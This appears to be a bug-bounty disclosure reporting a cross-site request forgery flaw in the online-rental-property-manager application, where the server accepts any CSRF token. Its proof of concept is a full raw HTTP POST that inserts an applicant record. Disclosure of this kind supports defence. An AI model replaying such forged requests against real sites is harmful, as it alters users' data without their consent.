Cross-Site Request Forgery (CSRF) in bigprof-software/online-rental-property-manager
Valid
Reported on
Aug 4th 2021
✍️ Description
CSRF bug in applicant
🕵️♂️ Proof of Concept
Bellow request is vulnerable to csrf attack .
Although there is csrf token in request but it does not checked in server-side . Any attacker provided csrf token is accepted here.
POST /online-rental/app/applicants_and_tenants_view.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------348290912833642125311838419114
Content-Length: 2783
Origin: http://localhost
Connection: close
Referer: http://localhost/online-rental/app/applicants_and_tenants_view.php
Cookie:
Upgrade-Insecure-Requests: 1
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="current_view"
DV
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SortField"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SelectedID"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SelectedField"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SortDirection"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="FirstRecord"
1
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="NoDV"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="PrintDV"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="DisplayRecords"
all
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="last_name"
by_adminsss2
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="first_name"
sds
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="email"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="phone"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateMonth"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateDay"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="birth_dateYear"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="driver_license_number"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="monthly_gross_pay"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="additional_income"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="assets"
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="status"
Applicant
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="insert_x"
1
-----------------------------348290912833642125311838419114
Content-Disposition: form-data; name="SearchString"
-----------------------------348290912833642125311838419114--
💥 Impact
csrf bug
We have contacted a member of the
bigprof-software/online-rental-property-manager
team and are waiting to hear back
2 years ago
to join this conversation